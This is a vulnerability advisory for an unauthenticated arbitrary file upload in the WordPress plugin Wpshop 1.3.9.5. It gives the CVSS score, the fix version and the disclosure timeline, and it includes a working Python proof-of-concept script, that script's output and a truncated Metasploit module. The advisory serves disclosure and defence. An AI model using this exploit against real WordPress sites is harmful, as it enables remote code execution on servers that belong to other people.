g0blin Research (/)

Follow @g0blinResearch (https://twitter.com/g0blinResearch)

Wpshop - eCommerce 1.3.9.5, Arbitrary File Upload

The script 'includes/ajax.php' allows execution of various actions by anonymous users. The action name is provided in the 'elementCode' parameter. One of these actions is named 'ajaxUpload'. This function allows for upload of arbitrary files, due to lack of sanitation of user input.

Homepage

https://wordpress.org/plugins/wpshop/ (https://wordpress.org/plugins/wpshop/)

CVSS Score

6.4

CSSS Vector

CVSS v2 Vector (AV:N/AC:L/Au:N/C:P/I:P/A:N)

Attack Scope

remote

Authorization Required

None

Mitigation

Update to version 1.3.9.6.

Proof of Concept

The output URL is available on the web server – in this case, test.php, which will call phpinfo()

```
import requests
from StringIO import StringIO
s = requests.session()
target = 'http://localhost'

url = '%s/wp-content/plugins/wpshop/includes/ajax.php?elementCode=ajaxUpload'%targe
files = {
    "wpshop_file":("test.php",StringIO("<?php phpinfo();"))
}
r = s.post(url, files=files)

print r.text
```

Output

```
~$ python g0blin-00036.py
http://localhost/wp-content/uploads//test.php
```

Metasploit Module

```
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper

    def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wpshop - eCommerce Upload Vulnerability',
      'Description'    => %q{
        This module exploits an arbitrary PHP code upload in the wordpress Wpshop -
        1.3.3.3 to 1.3.9.5. The vulnerability allows for arbitrary file upload and
```

Timeline

2015-03-02: Discovered
2015-03-02: Vendor notified

2015-03-02: Vendor responded
2015-03-02: Version 1.3.9.6 released – issue resolved
2015-03-09: Advisory released